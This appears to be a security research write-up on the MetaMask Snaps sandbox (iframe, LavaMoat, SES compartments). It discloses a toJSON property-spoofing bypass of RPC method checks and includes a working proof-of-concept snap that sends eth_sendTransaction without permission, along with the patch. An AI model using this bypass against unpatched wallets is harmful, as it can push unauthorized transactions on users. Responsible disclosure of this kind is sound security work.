Overview
Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.
Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.
In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.
Sandbox Security
In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.
Permission-based security
Each snap is built to have only the permissions it needs to hold. These permissions are specified in the snap.manifest.json
file and can be critical to security.
Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.
Here are the critical permissions possible to be given to a snap:
snap_getBip44Entropy
andsnap_getBip32Entropy
-> a malicious snap retrieving keypair leads to loss of fundsendowment:transaction-insight
-> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks
Snap execution environment
Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:
- An isolated iframe
- LavaMoat
- SES (Secure EcmaScript)
Isolated Iframe - Layer 1
Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an Iframe environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.
The Framework: Metamask-Extension Repo
The process of snap execution kicks off within the metamask-extension repository's metamask-controller.js
file. Here's a glimpse of the relevant code:
// Import snaps-controllers
// ...
const snapExecutionServiceArgs = {
iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),
messenger: this.controllerMessenger.getRestricted({
name: 'ExecutionService',
}),
setupSnapProvider: this.setupSnapProvider.bind(this),
};
// Define IFRAME_EXECUTION_ENVIRONMENT_URL
process.env.IFRAME_EXECUTION_ENVIRONMENT_URL =
'https://execution.metamask.io/0.36.1-flask.1/index.html';
// ...
This code is defining the snapExecutionServiceArgs
object, which contains information required for the IframeExecutionService
to execute snaps. The IFRAME_EXECUTION_ENVIRONMENT_URL
points to the location where the execution environment resides.
Executing Snaps: IframeExecutionService in Action
Inside the snaps-controller package's IframeExecutionService.ts file, the IframeExecutionService
orchestrates snap execution. Again, here's a snippet of the relevant code:
// Register message handlers for snap interactions
this.#messenger.registerActionHandler(
`${controllerName}:handleRpcRequest`,
async (snapId: string, options: SnapRpcHookArgs) =>
this.handleRpcRequest(snapId, options),
);
// More handlers for executeSnap, terminateSnap, etc.
// ...
// Execute a snap
async executeSnap(snapData: SnapExecutionData) {
// Initialize job, streams, and environment
const { jobId } = await this.initJob(snapData);
const { worker, stream } = await this.initEnvStream(jobId);
// ...
}
The IframeExecutionService
registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ${controllerName}:executeSnap
handler triggers the snap execution process.
Step-by-Step Execution: From Initialization to iFrame creation
protected async initEnvStream(jobId: string): Promise<{
worker: Window;
stream: BasePostMessageStream;
}> {
const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);
const stream = new WindowPostMessageStream({
name: 'parent',
target: 'child',
targetWindow: iframeWindow,
targetOrigin: '*',
});
return { worker: iframeWindow, stream };
}
Here the iframe is created via createWindow
, which is defined in snaps-utils package:
const iframe = document.createElement('iframe');
iframe.setAttribute('id', id);
iframe.setAttribute('data-testid', 'snaps-iframe');
if (sandbox) {
iframe.setAttribute('sandbox', 'allow-scripts');
}
iframe.setAttribute('src', uri);
document.body.appendChild(iframe);
This enables the iframe to be created with sandbox attributes, ensuring secure execution.
LavaMoat against Supply Chain Attacks - Layer 2
Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.
Malicious dependencies might utilize built-in modules like fs
. Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.
In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.
This is how a Policy file related to the iframes looks:
"@metamask/post-message-stream": {
"globals": {
"MessageEvent.prototype": true,
"WorkerGlobalScope": true,
"addEventListener": true,
"browser": true,
"chrome": true,
"location.origin": true,
"postMessage": true,
"removeEventListener": true
},
"packages": {
"@metamask/post-message-stream>@metamask/utils": true,
"@metamask/post-message-stream>readable-stream": true
}
}
One crucial aspect of the policy, apart from the globals
section, is the packages
segment. This section permits the @metamask/post-message-stream
package to exclusively interact with the package @metamask/utils
and readable-stream
. It ensures that interactions with potentially compromised packages are disallowed.
LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES lockdown
function to freeze all javascript builtins prototypes.
Secure EcmaScript (SES) sandbox - Layer 3
Within the iframe and after the lavamoat execution, the metamask sandbox uses the Secure EcmaScript (SES) as a way to setup limits to the snap. Let's dig into how it works:
SES Fundamentals
Lockdown
As the first step of setting up the SES sandbox, Metamask executes the lockdown()
function, which protects javascript objects against some attacks, mainly:
- Prototype Pollution
Lockdown executes
Object.freeze
against all javascript builtins prototypes, preventing these attacks. - Information disclosure
Lockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the
trace
attribute in anError
object, which contains the stack trace of the error.
Compartment
Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the globalThis
object to exclusively accommodate secure functions. Consequently, any code executed within this controlled globalThis
context is incapable of tampering with security.
const c = new Compartment();
c.globalThis === globalThis; // false
c.globalThis.JSON === JSON; // true
Compartment also changes the behaviour of evaluators functions such as eval
and the Function
constructor, so that the evaluated code is also executed within the sandboxed globalThis
.
Endowments
While creating a Compartment, it is possible to specify endowments. These endowments constitute objects that become accessible within the Compartment's globalThis
. However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.
In addition, SES provides the harden()
function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.
Setting up Snaps Execution Env
When starting a snap, the setup follows these steps:
- Create endowments based on snap permissions
const { endowments, teardown: endowmentTeardown } = createEndowments(
snap,
ethereum,
snapId,
_endowments,
);
In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.
One clear example is the endowment:network-access
permission, that adds the fetch()
function to the endowments.
All endowments are protected with the harden
function to prevent possible exploits derived from the endowment modification, with two exceptions.
- Create the snap compartment
const compartment = new Compartment({
...endowments,
module: snapModule,
exports: snapModule.exports,
});
Note: module
and exports
are passed as endowments, but without being hardened. This is intentional, as the snap needs to export functions to be correctly executed.
- Evaluate the snap code inside the compartment
await this.executeInSnapContext(snapId, () => {
compartment.evaluate(sourceCode);
this.registerSnapExports(snapId, snapModule);
});
According to the documentation, the snap must contain one of the following function exports: onRpcRequest
, onTransaction
or onCronjob
.
Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed globalThis
environment of that Compartment.
After the evaluation, the function exports are registered and executed later when the respective event is emmited.
Vulnerability research
Possible attacks
While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:
- Broken SES Container isolation
- Insecure endowments in Containers
- Incorrect RPC permission checks
- Insecure snap installation/update
We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.
To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.
RPC interfaces endowments
Providers limitations
A snap has two interfaces that can be used to communicate with metamask RPC interface: snap
and ethereum
(EIP-1193). These differ in that each one can only send a subset of the available RPC methods:
export function assertSnapOutboundRequest(args: RequestArguments) {
// Disallow any non `wallet_` or `snap_` methods for separation of concerns.
assert(
String.prototype.startsWith.call(args.method, 'wallet_') ||
String.prototype.startsWith.call(args.method, 'snap_'),
'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',
);
assert(
!BLOCKED_RPC_METHODS.includes(args.method),
ethErrors.rpc.methodNotFound({
data: {
method: args.method,
},
}),
);
assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');
}
This function is called by the snap
RPC provider, so it can only send methods starting with wallet_
or snap_
. In addition, there are some blocked RPC methods that immediately throw an error when encountered.
On the other hand, the ethereum
provider only blocks methods starting with snap_
and the blocked methods. However, it requires the endowment:ethereum-provider
permission in the snap manifest.
Execution flow
Both providers (snap
and ethereum
) are built outside the SES container with a request
function:
const request = async (args: RequestArguments) => {
assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);
const sanitizedArgs = getSafeJson(args);
this.notify({ method: 'OutboundRequest' });
try {
return await withTeardown(
originalRequest(sanitizedArgs as unknown as RequestArguments),
this as any,
);
} finally {
this.notify({ method: 'OutboundResponse' });
}
};
In particular, this function is from the snap
provider, but the only thing that changes between this and ethereum
is the assert function in the first line.
As we can see in the code, the execution flow follows this pattern:
- Assert if
args
are valid - getSafeJson to get sanitizedArgs
- originalRequest(sanitizedArgs)
Obs: originalRequest
makes the RPC call to metamask service worker
Safe JSON Exploit
As we dug further into thegetSafeJson
function (defined in @metamask/utils
package) we discovered the following code:
export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {
assertStruct(value, UnsafeJsonStruct);
return JSON.parse(
JSON.stringify(value, (propKey, propValue) => {
// Strip __proto__ and constructor properties to prevent prototype pollution.
if (propKey === '__proto__' || propKey === 'constructor') {
return undefined;
}
return propValue;
}),
);
});
The function performs a JSON.parse(JSON.stringify(value))
in the argument sent to getSafeJson
. This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a toJSON
function in a legit snap.request
argument:
- assertSnapOutboundRequest(args) -> pass the assertion
- sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object
- originalRequest(sanitizedArgs) -> forwards the malicious object
The assertion bypass can be useful on two occasions:
- forward blocked RPC methods
- Making requests in
snap.request
that were only supposed to be done withinethereum.request
(withendowment:ethereum-provider
enabled).
This particular vulnerability allows the snap to perform ethereum requests without permissions.
Impact
The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.
Proof of Concept
To demonstrate the issue, we created a snap without the endowment:ethereum-provider
permission, and used the snap
interface to call eth_sendTransaction
. According to the documentation, this shouldn't be possible:
import { OnRpcRequestHandler } from '@metamask/snaps-types';
function jsonExploit(){
let x = [] as any
x.method = "snap_dialog"
x.toJSON = () => {
return {
method: "eth_requestAccounts",
params: []
}
}
return snap.request(x)
}
function transactionExploit(){
let x = [] as any
x.method = "snap_dialog"
x.toJSON = () => {
return {
method: "eth_sendTransaction",
params: [{
from: "0xcf26B767586cC5fCF8737dD3FA57de164aF4248d", // change this to your address
to: "0xcf26B767586cC5fCF8737dD3FA57de164aF4248d",
value: "0x1",
}]
}
}
return snap.request(x);
}
export const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {
switch (request.method) {
case 'json':
return jsonExploit();
case 'transaction':
return transactionExploit();
default:
throw new Error('Method not found.');
}
};
We set x.method = "snap_dialog"
to pass the assertion and setup a toJSON function to change this method to eth_sendTransaction
after.
Mitigation
Metamask mitigated this issue by asserting the arguments after the getSafeJson
function execution. The patch was introduced on commit 168ff08 with the following changes:
const request = async (args: RequestArguments) => {
- assertEthereumOutboundRequest(args);
- const sanitizedArgs = getSafeJson(args);
+ const sanitizedArgs = getSafeJson(args) as RequestArguments;
+ assertEthereumOutboundRequest(sanitizedArgs);
Conclusion
This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.
Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.